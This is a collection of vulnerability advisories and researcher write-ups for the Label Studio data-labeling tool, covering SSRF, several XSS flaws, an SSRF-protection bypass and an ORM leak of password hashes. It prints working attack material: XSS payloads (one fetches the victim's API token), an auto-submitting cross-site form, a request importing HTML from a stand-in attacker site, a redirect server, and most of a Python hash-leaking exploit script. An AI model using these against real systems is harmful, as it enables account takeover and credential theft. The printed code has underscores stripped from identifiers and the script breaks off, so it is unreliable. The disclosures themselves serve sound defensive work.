See how humansignal compares to other vendors in security performance
A server-side request forgery vulnerability in HumanSignal Label Studio through 1.24.0.dev0 exists because SSRFPROTECTIONENABLED is set to false by default. The import-from-URL endpoint fetches any caller-supplied URL including internal loopback addresses on the default installation. An authenticated user can use this to reach internal services, cloud metadata endpoints, and other resources not intended for external access.
Description Label Studio's /projects/upload-example endpoint allows injection of arbitrary HTML through a GET request with an appropriately crafted labelconfig query parameter. By crafting a specially formatted XML label config with inline task data containing malicious HTML/JavaScript, an attacker can achieve Cross-Site Scripting (XSS). While the application has a Content Security Policy (CSP), it is only set in report-only mode, making it ineffective at preventing script execution.
The vulnerability exists because the upload-example endpoint renders user-provided HTML content without proper sanitization on a GET request. This allows attackers to inject and execute arbitrary JavaScript in victims' browsers by getting them to visit a maliciously crafted URL.
This is considered vulnerable because it enables attackers to execute JavaScript in victims' contexts, potentially allowing theft of sensitive data, session hijacking, or other malicious actions.
Steps to reproduce 1. Create a malicious label config that includes an XSS payload in embedded task data:
xml <View><!-- {"data": {"text": "<div><img src=x onerror=eval(atob(YWxlcnQoIlhTUyIp))></div>"}} --><HyperText name="text" value="$text"/></View>
2. URL encode the payload and access the following URL:
- http://app/projects/upload-example/?labelconfig=%3CView%3E%3C!--%20{%22data%22:%20{%22text%22:%20%22%3Cdiv%3E%3Cimg%20src=x%20onerror=eval(atob(YWxlcnQoIlhTUyIp))%3E%3C/div%3E%22}}%20--%3E%3CHyperText%20name=%22text%22%20value=%22$text%22/%3E%3C/View%3E
When executed, the payload causes the application to render an HTML page containing an img tag that fails to load, triggering the onerror event handler which executes base64-decoded JavaScript, demonstrating successful XSS execution in the victim's browser. Mitigations - Enable the Content Security Policy in enforcement mode instead of report-only mode to actively block unauthorized script execution - Deprecate the GET behavior at the example-config endpoint since it's not used
Impact The vulnerability requires no special privileges and can be exploited by getting a victim to visit a crafted URL. The impact is high as it allows arbitrary JavaScript execution in victims' browsers, potentially exposing sensitive data or enabling account takeover through session theft.
Description Label Studio's S3 storage integration feature contains a Server-Side Request Forgery (SSRF) vulnerability in its endpoint configuration. When creating an S3 storage connection, the application allows users to specify a custom S3 endpoint URL via the s3endpoint parameter. This endpoint URL is passed directly to the boto3 AWS SDK without proper validation or restrictions on the protocol or destination.
The vulnerability allows an attacker to make the application send HTTP requests to arbitrary internal services by specifying them as the S3 endpoint. When the storage sync operation is triggered, the application attempts to make S3 API calls to the specified endpoint, effectively making HTTP requests to the target service and returning the response in error messages.
This SSRF vulnerability enables attackers to bypass network segmentation and access internal services that should not be accessible from the external network. The vulnerability is particularly severe because error messages from failed requests contain the full response body, allowing data exfiltration from internal services.
Steps to reproduce 1. Create an account in Label Studio
2. Create a new project with basic configuration
3. Create an S3 storage connection with the following configuration: json { "project": 1, "title": "Test Storage", "bucket": "<filename>", "s3endpoint": "http://internal-web", "usebloburls": true, "awsaccesskeyid": "test", "awssecretaccesskey": "test" } 4. Trigger a storage sync operation by sending a POST request to /api/storages/s3/[storageid]/sync
The application will attempt to connect to the specified endpoint URL as if it were an S3 service. When the request fails due to invalid S3 API responses, the error message will contain the raw response from the internal service, allowing access to internal resources. Mitigations - Implement strict validation of S3 endpoint URLs to allow only valid S3service endpoints - Add an allowlist of endpoint domains and protocols - Sanitize error messages to prevent leakage of sensitive information from failed requests - Consider implementing network-level controls to restrict outbound connections from the application server
Impact This vulnerability has high severity as it allows authenticated users to make requests to arbitrary internal services from the application server, potentially exposing sensitive internal resources and bypassing network segmentation. The inclusion of response data in error messages makes this particularly effective for data exfiltration.
Summary On all Label Studio versions prior to 1.11.0, data imported via file upload feature is not properly sanitized prior to being rendered within a Choices or Labels tag, resulting in an XSS vulnerability.
Details Need permission to use the "data import" function. This was reproduced on Label Studio 1.10.1.
PoC
1. Create a project. !Create a project
2. Upload a file containing the payload using the "Upload Files" function. !2 Upload a file containing the payload using the Upload Files function !3 complete
The following are the contents of the files used in the PoC { "data": { "prompt": "labelstudio universe image", "images": [ { "value": "id123#0", "style": "margin: 5px", "html": "<img width='400' src='https://labelstud.io/astro/images-tab.64279c16ZaBSvC.avif' onload=alert(document.cookie)>" } ] } }
3. Select the text-to-image generation labeling template of Ranking and scoring !3 Select the text-to-image generation labelling template for Ranking and scoring !5 save
4. Select a task !4 Select a task
5. Check that the script is running !5 Check that the script is running
Impact Malicious scripts can be injected into the code, and when linked with vulnerabilities such as CSRF, it can cause even greater damage. In particular, It can become a source of further attacks, especially when linked to social engineering.
Introduction
This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.10.1 and was tested on version 1.9.2.post0.
Overview
Label Studio had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. This feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website.
Description
The following code snippet in Label Studio showed that is a URL passed the SSRF verification checks, the contents of the file would be downloaded using the filename in the URL.
python def tasksfromurl(fileuploadids, project, user, url, couldbetaskslist): """Download file using URL and read tasks from it""" # process URL with tasks try: filename = url.rsplit('/', 1)[-1] <1>
response = ssrfsafeget( url, verify=project.organization.shouldverifysslcerts(), stream=True, headers={'Accept-Encoding': None} ) filecontent = response.content checktasksmaxfilesize(int(response.headers['content-length'])) fileupload = createfileupload(user, project, SimpleUploadedFile(filename, filecontent)) if fileupload.formatcouldbetaskslist: couldbetaskslist = True fileuploadids.append(fileupload.id) tasks, foundformats, datakeys = FileUpload.loadtasksfromuploadedfiles(project, fileuploadids)
except ValidationError as e: raise e except Exception as e: raise ValidationError(str(e)) return datakeys, foundformats, tasks, fileuploadids, couldbetaskslist 1. The file name that was set was retrieved from the URL.
The downloaded file path could then be retrieved by sending a request to /api/projects/{projectid}/file-uploads?ids=[{downloadid}] where {projectid} was the ID of the project and {downloadid} was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, the following code snippet demonstrated that the Content-Type of the response was determined by the file extension, since mimetypes.guesstype guesses the Content-Type based on the file extension.
python class UploadedFileResponse(generics.RetrieveAPIView): permissionclasses = (IsAuthenticated,)
@swaggerautoschema(autoschema=None) def get(self, args, kwargs): request = self.request filename = kwargs['filename'] # XXX needed, on windows os.path.join generates '\' which breaks FileUpload file = settings.UPLOADDIR + ('/' if not settings.UPLOADDIR.endswith('/') else '') + filename logger.debug(f'Fetch uploaded file by user {request.user} => {file}') fileupload = FileUpload.objects.filter(file=file).last()
if not fileupload.haspermission(request.user): return Response(status=status.HTTP403FORBIDDEN)
file = fileupload.file if file.storage.exists(file.name): contenttype, encoding = mimetypes.guesstype(str(file.name)) <1> contenttype = contenttype or 'application/octet-stream' return RangedFileResponse(request, file.open(mode='rb'), contenttype=contenttype) else: return Response(status=status.HTTP404NOTFOUND) 1. Determines the Content-Type based on the extension of the uploaded file by using mimetypes.guesstype.
Since the Content-Type was determined by the file extension of the downloaded file, an attacker could import in a .html file that would execute JavaScript when visited.
Proof of Concept
Below were the steps to recreate this issue:
1. Host the following HTML proof of concept (POC) script on an external website with the file extension .html that would be downloaded to the Label Studio website.
html <html> <body> <h1>Data Import XSS</h1> <script> alert(document.domain); </script> </body> </html>
2. Send the following POST request to download the HTML POC to the Label Studio and note the returned ID of the downloaded file in the response. In the following POC the {victimhost} is the address and port of the victim Label Studio website (eg. labelstudio.com:8080), {projectid} is the ID of the project where the data would be imported into, {cookies} are session cookies and {evilsite} is the website hosting the malicious HTML file (named xss.html in the following example).
http POST /api/projects/{projectid}/import?committoproject=false HTTP/1.1 Host: {victimhost} Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate content-type: application/x-www-form-urlencoded Content-Length: 43 Connection: close Cookie: {cookies} Pragma: no-cache Cache-Control: no-cache
url=https://{evilsite}/xss.html
3. To retrieve the downloaded file path could be retrieved by sending a GET request to /api/projects/{projectid}/file-uploads?ids=[{downloadid}], where {downloadid} is the ID of the file download from the previous step.
4. Send your victim a link to /data/{filepath}, where {filepath} is the path of the downloaded file from the previous step. The following screenshot demonstrated executing the POC JavaScript code by visiting /data/upload/1/cfcfc340-xss.html.
!xss-import-alert
Impact
Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.
Remediation Advice
For all user provided files that are downloaded by Label Studio, set the Content-Security-Policy: sandbox; response header when viewed on the site. The sandbox directive restricts a page's actions to prevent popups, execution of plugins and scripts and enforces a same-origin policy (documentation). Restrict the allowed file extensions that could be downloaded.
Discovered - August 2023, Alex Brown, elttam
Prologue
These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.
Summary
A persistent stored cross-site scripting (XSS) vulnerability exists in the customhotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their customhotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.
Details Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:
js var customHotkeys = {{ user.customhotkeys|jsondumpsensureascii|safe }}; Here, user.customhotkeys is run through jsondumpsensureascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensureascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.
In users/api.py, the PATCH endpoint allows updating of customhotkeys:
python user.customhotkeys = serializer.validateddata['customhotkeys'] user.save(updatefields=['customhotkeys'])
The serializer allows < and > characters (e.g., "</script><script>…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:
json { "firstname":"poc", "lastname":"test", "phone":"123", "customhotkeys":{ "INJ;</script><script>fetch(/api/current-user/token).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/xx":{ "key":"x", "active":true } } } When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original <script> tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.
PoC
1. Login to the application - Go to the login page: GET /user/login/
2. Identify your user ID (via API) - GET /api/current-user/whoami - In the response JSON you will see your user ID (for example "id": 123). - Note this ID for the next step.
3. Inject a malicious hotkey payload in the PATCH request /api/users/{id} - Using the user API, send a PATCH request to update your customhotkeys.
Example request
http PATCH /api/users/25 HTTP/1.1 Host: 0.0.0.0:8080 Content-Length: 288 sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10157) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 content-type: application/json baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-publickey=5f51920ff82a4675a495870244869c6b,sentry-traceid=926224d7bbfb4f0da9f6ebe333744a52,sentry-samplerate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false Accept: / Origin: http://0.0.0.0:8080 Referer: http://0.0.0.0:8080/user/account/personal-info Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6 Cookie: {STRIPPED} Connection: keep-alive
{ "firstname":"poc", "lastname":"test", "phone":"123", "customhotkeys":{ "INJ;</script><script>fetch(/api/current-user/token).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/xx":{ "key":"x", "active":true } } } Example response json {"id":25,"firstname":"poc","lastname":"test","username":"test","email":"test@dcodx.com","lastactivity":"2025-10-24T15:18:18.494398Z","customhotkeys":{"INJ;</script><script>fetch(/api/current-user/token).then(r=>r.json()).then(t=>alert(t.token))</script><script>/xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","activeorganization":1,"activeorganizationmeta":{"title":"Label Studio","email":"poctestxgd9ce@example.com"},"allownewsletters":false,"datejoined":"2025-10-24T15:18:18.494532Z"} 4. Verify the injected string persists - Still logged in as your user, go to your account page (e.g., GET /user/account/). - See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server
Impact
Exploitation impact: - Full account takeover of victim user(s). - Exposure of API tokens granting access to internal/external APIs. - Unauthorized API access, data exfiltration, token reset or privilege escalation. - If victim is administrator or privileged user, wide system compromise possible.
Who is impacted: - All users who load the template and whose session/token is accessible via browser. - The organization’s application and data. - Potentially other end-users if cross-user token exfiltration occurs.
Summary The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.
Details The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at labelstudio/projects/views.py. python 39: @requirehttpmethods(['POST']) 40: def uploadexampleusingconfig(request): 41: """Generate upload data example by config only""" 42: config = request.POST.get('labelconfig', '') 43: 44: orgpk = getorganizationfromrequest(request) 45: securemode = False 46: if orgpk is not None: 47: org = generics.getobjector404(Organization, pk=orgpk) 48: securemode = org.securemode 49: 50: try: 51: Project.validatelabelconfig(config) 52: taskdata, , = getsampletask(config, securemode) 53: taskdata = playgroundreplacements(request, taskdata) 54: except (ValueError, ValidationError, lxml.etree.Error): 55: response = HttpResponse('error while example generating', status=status.HTTP400BADREQUEST) 56: else: 57: response = HttpResponse(json.dumps(taskdata)) 58: return response The vulnerability is specifically located in line 57, where HttpResponse is used. python 57: response = HttpResponse(json.dumps(taskdata)) PoC Send the following request after changing the {host} to your own. css POST /projects/upload-example/ HTTP/1.1 Host: {host} Content-Type: application/x-www-form-urlencoded Content-Length: 67
labelconfig=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim. html <html> <body> <form action="http://{domain}/projects/upload-example/" method="POST"> <input type="hidden" name="label_config" value="<View><Text name="text" value="$textjmwwi&lt;script&gt;alert(1)&lt;/script&gt;s8m37"/></View>" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> Impact - Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
Introduction
This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.11.0 and was tested on version 1.8.2.
Overview
Label Studio's SSRF protections that can be enabled by setting the SSRFPROTECTIONENABLED environment variable can be bypassed to access internal web servers. This is because the current SSRF validation is done by executing a single DNS lookup to verify that the IP address is not in an excluded subnet range. This protection can be bypassed by either using HTTP redirection or performing a DNS rebinding attack.
Description
The following tasksfromurl method in labelstudio/dataimport/uploader.py performs the SSRF validation (validateuploadurl) before sending the request.
python def tasksfromurl(fileuploadids, project, user, url, couldbetaskslist): """Download file using URL and read tasks from it""" # process URL with tasks try: filename = url.rsplit('/', 1)[-1]
validateuploadurl(url, blocklocalurls=settings.SSRFPROTECTIONENABLED) # Reason for #nosec: url has been validated as SSRF safe by the # validation check above. response = requests.get( url, verify=False, headers={'Accept-Encoding': None} ) # nosec filecontent = response.content checktasksmaxfilesize(int(response.headers['content-length'])) fileupload = createfileupload( user, project, SimpleUploadedFile(filename, filecontent) ) if fileupload.formatcouldbetaskslist: couldbetaskslist = True fileuploadids.append(fileupload.id) tasks, foundformats, datakeys = FileUpload.loadtasksfromuploadedfiles( project, fileuploadids )
except ValidationError as e: raise e except Exception as e: raise ValidationError(str(e)) return datakeys, foundformats, tasks, fileuploadids, couldbetaskslist
The validateuploadurl code in labelstudio/core/utils/io.py is shown below.
python def validateuploadurl(url, blocklocalurls=True): """Utility function for defending against SSRF attacks. Raises - InvalidUploadUrlError if the url is not HTTP[S], or if blocklocalurls is enabled and the URL resolves to a local address. - LabelStudioApiException if the hostname cannot be resolved
:param url: Url to be checked for validity/safety, :param blocklocalurls: Whether urls that resolve to local/private networks should be allowed. """
parsedurl = parseurl(url)
if parsedurl.scheme not in ('http', 'https'): raise InvalidUploadUrlError
domain = parsedurl.host try: ip = socket.gethostbyname(domain) except socket.error: from core.utils.exceptions import LabelStudioAPIException raise LabelStudioAPIException(f"Can't resolve hostname {domain}")
if not blocklocalurls: return
if ip == '0.0.0.0': # nosec raise InvalidUploadUrlError localsubnets = [ '127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16', ] for subnet in localsubnets: if ipaddress.ipaddress(ip) in ipaddress.ipnetwork(subnet): raise InvalidUploadUrlError
The issue here is the SSRF validation is only performed before the request is sent, and does not validate the destination IP address. Therefore, an attacker can either redirect the request or perform a DNS rebinding attack to bypass this protection.
Proof of Concept
Both the HTTP redirection and DNS rebinding methods for bypassing Label Studio's SSRF protections are explained below.
HTTP Redirection
The python requests module automatically follows HTTP redirects (eg. response code 301 and 302). Therefore, an attacker could use a URL shortener (eg. https://www.shorturl.at/) or host the following Python code on an external server to redirect request from a Label Studio server to an internal web server.
python from http.server import BaseHTTPRequestHandler, HTTPServer
class RedirectHandler(BaseHTTPRequestHandler):
def doGET(self): self.sendresponse(301) # skip first slash self.sendheader('Location', self.path[1:]) self.endheaders()
HTTPServer(("", 8080), RedirectHandler).serveforever()
DNS Rebinding Attack
DNS rebinding can bypass SSRF protections by resolving to an external IP address for the first resolution, but when the request is sent resolves to an internal IP address that is blocked. For an example, the domain 7f000001.030d1fd6.rbndr.us will randomly switch between the IP address 3.13.31.214 that is not blocked to 127.0.0.1 which is not allowed.
Impact
SSRF vulnerabilities pose a significant risk on cloud environments, since instance credentials are managed by internal web APIs. An attacker can bypass Label Studio's SSRF protections to access internal web servers and partially compromise the confidentiality of those internal servers.
Remediation Advice
Before saving any responses, validate the destination IP address is not in the deny list. Consider blocking internal cloud API IP ranges to mitigate the risk of compromising cloud credentials.
Discovered - August 2023, Alex Brown, elttam
A vulnerability has been found in HumanSignal label-studio-ml-backend up to 9fb7f4aa186612806af2becfb621f6ed8d9fdbaf and classified as problematic. Affected by this vulnerability is the function load of the file label-studio-ml-backend/labelstudioml/examples/yolo/utils/neuralnets.py of the component PT File Handler. The manipulation of the argument path leads to deserialization. An attack has to be approached locally. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available.
Introduction
This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.9.2 and was tested on version 1.8.2.
Overview
Label Studio has a cross-site scripting (XSS) vulnerability that could be exploited when an authenticated user uploads a crafted image file for their avatar that gets rendered as a HTML file on the website.
Description
The following code snippet in Label Studio shows that the only verification check is that the file is an image by extracting the dimensions from the file.
python
def hashupload(instance, filename): filename = str(uuid.uuid4())[0:8] + '-' + filename return settings.AVATARPATH + '/' + filename <3>
def checkavatar(files): images = list(files.items()) if not images: return None
filename, avatar = list(files.items())[0] # get first file w, h = getimagedimensions(avatar) <1> if not w or not h: raise forms.ValidationError("Can't read image, try another one")
# validate dimensions maxwidth = maxheight = 1200 if w > maxwidth or h > maxheight: raise forms.ValidationError('Please use an image that is %s x %s pixels or smaller.' % (maxwidth, maxheight))
# validate content type main, sub = avatar.contenttype.split('/') <2> if not (main == 'image' and sub.lower() in ['jpeg', 'jpg', 'gif', 'png']): raise forms.ValidationError(u'Please use a JPEG, GIF or PNG image.')
# validate file size maxsize = 1024 1024 if len(avatar) > maxsize: raise forms.ValidationError('Avatar file size may not exceed ' + str(maxsize/1024) + ' kb')
return avatar 1. Attempts to get image dimensions to validate the uploaded avatar file is an image. 2. Extracts the Content-Type from the upload POST request. A user can easily bypass this verification by changing the mimetype of the uploaded file to an allowed type (eg. image/jpeg). 3. The file extension of the uploaded file is never validated and is saved to the filesystem.
Label Studio serves avatar images using Django's built-in serve view, which is not secure for production use according to Django's documentation.
python repath(r'^data/' + settings.AVATARPATH + '/(?P<path>.)$', serve, kwargs={'documentroot': join(settings.MEDIAROOT, settings.AVATARPATH)}),
The issue with the Django serve view is that it determines the Content-Type of the response by the file extension in the URL path. Therefore, an attacker can upload an image that contains malicious HTML code and name the file with a .html extension to be rendered as a HTML page. The only file extension validation is performed on the client-side, which can be easily bypassed.
Proof of Concept
Below are the steps to reproduce this issue and execute JavaScript code in the context of the Label Studio website.
1. Using any JPEG or PNG image, add in the comment field in the metadata the HTML code <script>alert(document.domain)</script>. This can be done using the exiftool command as shown below that was used to create the following image.
bash exiftool -Comment='<script>alert(document.domain)</script>' penguin.jpg
!xss-penguin
2. On Label Studio, navigate to account & settings page and intercept the upload request of the avatar image using a tool such as Burp Suite. Modify the filename in the request to have a .html extension.
3. Right click the image on the avatar profile and copy the URL. Send this to a victim and it will display an alert box with the host name of the Label Studio instance as shown below.
!xss-alert
Impact
Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.
Remediation Advice
Validate the file extension on the server side, not in client-side code. Remove the use of Django's serve view and implement a secure controller for viewing uploaded avatar images. Consider saving file content in the database rather than on the filesystem to mitigate against other file related vulnerabilities. Avoid trusting user controlled inputs.
Discovered - August 2023, Alex Brown, elttam
Introduction
This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.9.2post0 and was tested on version 1.8.2.
Overview
In all current versions of Label Studio, the application allows users to insecurely set filters for filtering tasks. An attacker can construct a filter chain to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django's Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character. For an example, the following filter chain will task results by the password hash of an account on Label Studio.
filter:tasks:updatedbyactiveorganizationactiveuserspassword
For consistency, this type of vulnerability will be termed as ORM Leak in the rest of this disclosure.
In addition, Label Studio had a hard coded secret key that an attacker can use to forge a session token of any user by exploiting this ORM Leak vulnerability to leak account password hashes.
Description
The following code snippet from the ViewSetSerializer in labelstudio/datamanager/serializers.py insecurely creates Filter objects from a JSON POST request to the /api/dm/views/{viewId} API endpoint.
python @staticmethod def createfilters(filtergroup, filtersdata): filterindex = 0 for filterdata in filtersdata: filterdata["index"] = filterindex filtergroup.filters.add(Filter.objects.create(filterdata)) filterindex += 1
These Filter objects are then applied in the TaskQuerySet in labelstudio/datamanager/managers.py.
python class TaskQuerySet(models.QuerySet): def prepared(self, prepareparams=None): """ Apply filters, ordering and selected items to queryset
:param prepareparams: prepare params with project, filters, orderings, etc :return: ordered and filtered queryset """ from projects.models import Project
queryset = self
if prepareparams is None: return queryset
project = Project.objects.get(pk=prepareparams.project) request = prepareparams.request queryset = applyfilters(queryset, prepareparams.filters, project, request) <1> queryset = applyordering(queryset, prepareparams.ordering, project, request, viewdata=prepareparams.data)
if not prepareparams.selectedItems: return queryset
# included selected items if prepareparams.selectedItems.all is False and prepareparams.selectedItems.included: queryset = queryset.filter(idin=prepareparams.selectedItems.included)
# excluded selected items elif prepareparams.selectedItems.all is True and prepareparams.selectedItems.excluded: queryset = queryset.exclude(idin=prepareparams.selectedItems.excluded)
return queryset 1. User provided filters are insecurely applied here by calling the applyfilters that constructs the Django ORM filter.
The PreparedTaskManager in labelstudio/datamanager/managers.py uses the vulnerable TaskQuerySet for building the Django queryset for querying Task objects, as shown in the following code snippet.
python class PreparedTaskManager(models.Manager): #...
def getqueryset(self, fieldsforevaluation=None, prepareparams=None, allfields=False): <1> """ :param fieldsforevaluation: list of annotated fields in task :param prepareparams: filters, ordering, selected items :param allfields: evaluate all fields for task :param request: request for user extraction :return: task queryset with annotated fields """ queryset = self.onlyfiltered(prepareparams=prepareparams) return self.annotatequeryset( queryset, fieldsforevaluation=fieldsforevaluation, allfields=allfields, request=prepareparams.request )
def onlyfiltered(self, prepareparams=None): request = prepareparams.request queryset = TaskQuerySet(self.model).filter(project=prepareparams.project) <1> fieldsforfilterordering = getfieldsforfilterordering(prepareparams) queryset = self.annotatequeryset(queryset, fieldsforevaluation=fieldsforfilterordering, request=request) return queryset.prepared(prepareparams=prepareparams) 1. Special Django method for the models.Manager class that is used to retrieve the queryset for querying objects of a model. 2. Uses the vulnerable TaskQuerySet that was explained above.
The following code snippet of the Task model in labelstudio/tasks/models.py shows that the vulnerable PreparedTaskManager is set as a class variable, along with the updatedby relational mapping to a Django user that will be exploited as the entrypoint of the filter chain.
python ... class Task(TaskMixin, models.Model): """ Business tasks from project """ id = models.AutoField(autocreated=True, primarykey=True, serialize=False, verbosename='ID', dbindex=True)
# ...
updatedby = models.ForeignKey(settings.AUTHUSERMODEL, relatedname='updatedtasks', ondelete=models.SETNULL, null=True, verbosename=('updated by'), helptext='Last annotator or reviewer who updated this task') <1>
# ...
objects = TaskManager() # task manager by default prepared = PreparedTaskManager() # task manager with filters, ordering, etc for datamanager app <2>
# ... 1. The entry point of the filter chain to filter by the updatedbyactiveorganizationactiveuserspassword. 2. The vulnerable PreparedTaskManager being set that will be exploited.
Finally, the TaskListAPI view set in labelstudio/tasks/api.py with the /api/tasks API endpoint uses the vulnerable PreparedTaskManager to filter Task objects.
python def getqueryset(self): taskid = self.request.parsercontext['kwargs'].get('pk') task = generics.getobjector404(Task, pk=taskid) review = boolfromrequest(self.request.GET, 'review', False) selected = {"all": False, "included": [self.kwargs.get("pk")]} if review: kwargs = { 'fieldsforevaluation': ['annotators', 'reviewed'] } else: kwargs = {'allfields': True} project = self.request.queryparams.get('project') or self.request.data.get('project') if not project: project = task.project.id return self.prefetch( Task.prepared.getqueryset( prepareparams=PrepareParams(project=project, selectedItems=selected, request=self.request), kwargs )) <1> 1. Uses the vulnerable PreparedTaskManager to filter objects.
Proof of Concept
Below are the steps to exploit about how to exploit this vulnerability to leak the password hash of an account on Label Studio.
1. Create two accounts on Label Studio and choose one account to be the victim and the other the hacker account that you will use. 2. Create a new project or use an existing project, then add a task to the project. Update the task with the hacker account to cause the entry point of the filter chain. 3. Navigate to the task view for the project and add any filter with the Network inspect tab open on the browser. Look for a PATCH request to /api/dm/views/{viewid}?interaction=filter&project={projectid} and save the viewid and projectid for the next step. 4. Download the attached proof of concept exploit script named labelstudioormleak.py. This script will leak the password hash of the victim account character by character. Run the following command to run the exploit script, replacing the {viewid}, {projectid}, {cookiestr} and {url} with the corresponding values. For further explanation run python3 labelstudioormleak.py --help.
bash python3 labelstudioormleak.py -v {viewid} -p {projectid} -c '{cookiestr}' -u '{url}'
The following example GIF demonstrates exploiting this ORM Leak vulnerability to retrieve the password hash pbkdf2sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw=.
!labelstudioormleakpoc
Impact
This vulnerability can be exploited to completely compromise the confidentiality of highly sensitive account information, such as account password hashes. For all versions <=1.8.1, this finding can also be chained with hard coded SECRETKEY to forge session tokens of any user on Label Studio and could be abuse to deteriorate the integrity and availability.
Remediation Advice
Do not use unsanitised values for constructing a filter for querying objects using Django's ORM. Django's ORM allows querying by relation field and performs auto lookups, that enable filtering by sensitive fields. Validate filter values to an allow list before performing any queries.
Discovered - August 2023, Alex Brown, elttam
--- labelstudioormleak.py proof of concept
py import argparse import re import requests import string import sys
Password hash characters CHARS = string.asciiletters + string.digits + '$/+=!' CHARSLEN = len(CHARS)
PAYLOAD = { "data": { "columnsDisplayType": {}, "columnsWidth": {}, "filters": { "conjunction": "and", "items": [ { "filter": "filter:tasks:updatedbyactiveorganizationactiveuserspassword", # ORM Leak filter chain "operator": "regex", # Use regex operator to filter password hash value "type": "String", "value": "REPLACEME" } ] }, "gridWidth": 4, "hiddenColumns":{"explore":["tasks:innerid"],"labeling":["tasks:id","tasks:innerid"]}, "ordering": [], "searchtext": None, "target": "tasks", "title": "Default", "type": "list" }, "id": 1, # View ID "project": "1" # Project ID }
def parseargs() -> argparse.Namespace: parser = argparse.ArgumentParser( description='Leak an accounts password hash by exploiting a ORM Leak vulnerability in Label Studio' )
parser.addargument( '-v', '--view-id', help='View id of the page', type=int, required=True )
parser.addargument( '-p', '--project-id', help='Project id to filter tasks for', type=int, required=True )
parser.addargument( '-c', '--cookie-str', help='Cookie string for authentication', required=True )
parser.addargument( '-u', '--url', help='Base URL to Label Studio instance', required=True )
return parser.parseargs()
def setup() -> dict: args = parseargs() viewid = args.viewid projectid = args.projectid path1 = "/api/dm/views/{viewid}?interaction=filter&project={projectid}".format( viewid=viewid, projectid=projectid ) path2 = "/api/tasks?page=1&pagesize=1&view={viewid}&interaction=filter&project={projectid}".format( viewid=viewid, projectid=projectid ) PAYLOAD["id"] = viewid PAYLOAD["project"] = str(projectid) configdict = { 'COOKIESTR': args.cookiestr, 'URLPATH1': args.url + path1, 'URLPATH2': args.url + path2, 'PAYLOAD': PAYLOAD } return configdict
def testpayload(configdict: dict, payload) -> bool: sys.stdout.flush() cookiestr = configdict["COOKIESTR"] rset = requests.patch( configdict["URLPATH1"], json=payload, headers={ "Cookie": cookiestr } )
rlisten = requests.get( configdict['URLPATH2'], headers={ "Cookie": cookiestr } )
rjson = rlisten.json() return len(rjson["tasks"]) >= 1
def testchar(configdict, knownhash, c): jsonpayloadsuffix = PAYLOAD testescaped = re.escape(knownhash + c) jsonpayloadsuffix["data"]["filters"]["items"][0]["value"] = f"^{testescaped}"
suffixresult = testpayload(configdict, jsonpayloadsuffix) if suffixresult: return (knownhash + c, c) return None
